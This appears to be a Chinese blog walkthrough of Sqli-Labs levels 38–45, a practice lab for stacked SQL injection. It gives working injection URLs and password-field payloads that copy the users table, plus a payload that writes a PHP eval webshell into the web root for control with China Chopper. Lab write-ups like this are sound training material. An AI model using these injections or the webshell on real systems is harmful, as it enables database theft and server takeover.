zoukankan      html  css  js  c++  java
  • Sqli-Labs less38-45

    less-38

    前置基础知识:堆叠注入 参考链接:https://www.cnblogs.com/lcamry/p/5762905.html

    实际上就是多条sql语句一起使用。

    在38关源码中加入输出sql语句的代码:

    第一种办法:其实直接可以使用联合查询爆出数据:

    http://192.168.0.106:300/Less-38/?id=0'union select 1,2,3 --+

     但是主要考的是堆叠注入,所以我们用二种办法:堆叠注入

    http://192.168.0.106:300/Less-38/?id=1';create table hzk38 like users;insert into hzk38 select *from users; --+

     

    可以发现,在数据库中已经新建了一个表,并且信息都是用户名密码。

    注意:这里如果只有第一句sql语句,他新建的表里面是没有任何信息的,只是模仿了users表的结构

    参考链接:https://blog.csdn.net/qi95719/article/details/60883148

    less-39

    id=1

    一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-39/?id=1;create table hzk39 like users;insert into hzk39 select *from users; --+

    less-40

    id=(‘1’),并且错误不回显

    一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-40/?id=1‘);create table hzk40 like users;insert into hzk40 select *from users; --+

    less-41

    id=1,并且错误不回显

    一样的道理,只是闭合sql语句不同:http://192.168.0.106:300/Less-41/?id=1;create table hzk41 like users;insert into hzk41 select *from users; --+

    less-42

    这一关与之前的二次注入类似。但是这次用的是堆叠注入的方式。

    观察源码:

    $username = mysqli_real_escape_string($con1, $_POST["login_user"]);

    $password = $_POST["login_password"];

    此时的sql为: "SELECT * FROM users WHERE username='$username' and password='$password'"

    里面的password没有经过过滤,并且是单引号进行包裹,所以在这进行构造,注入之前可以现在浏览器把password的type改成明文格式方便观察:

    a';create table hzk42 like users;insert into hzk42 select *from users; #

     

     

    less-43

    与42关基本一样。区别在:id=(’1‘)

    password构造语句:a');create table hzk43 like users;insert into hzk43 select *from users; #

    less-44

    与42关基本一样。区别在:没有回显信息    id=’1‘

    password构造语句:a';create table hzk44 like users;insert into hzk44 select *from users; #

    less-45

    与42关基本一样。区别在:没有回显信息  id=(’1‘)

    password构造语句:a');create table hzk45 like users;insert into hzk45 select *from users; #

    注意:如果你做这几关数据库乱了,可以直接在sqli-labs首页第一行重置数据库:

    堆叠注入的另一种打开方式:(less38-45的第二种办法)

    堆叠注入写入一句话木马:以45关为例

    passqord注入语句:a’);select '<?php @eval($_POST[“hzk”]);?>' into outfile ‘C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-45\mm.php’ #

     

     然后用中国菜刀就能获得权限:

    另外:

    这几关的注入提示语句:哈哈哈

  • 相关阅读:
    使用EF批量新增数据十分缓慢
    EF中获取当前上下文的表名
    下拉框停用数据的处理
    CEILING保留n位小数向上取整
    MVC ValidationAttribute 验证一个字段必须大于另一个字段
    EF通过导航属性取出从表的集合后,无法删除子表
    我得新博客上线了采用Vue+Layui的结合开发,后台采用asp.net mvc
    CTS,CLS,CLR解释
    Linq与委托
    C#4.0的十种语法糖
  • 原文地址:https://www.cnblogs.com/hzk001/p/12237037.html
Copyright © 2011-2022 走看看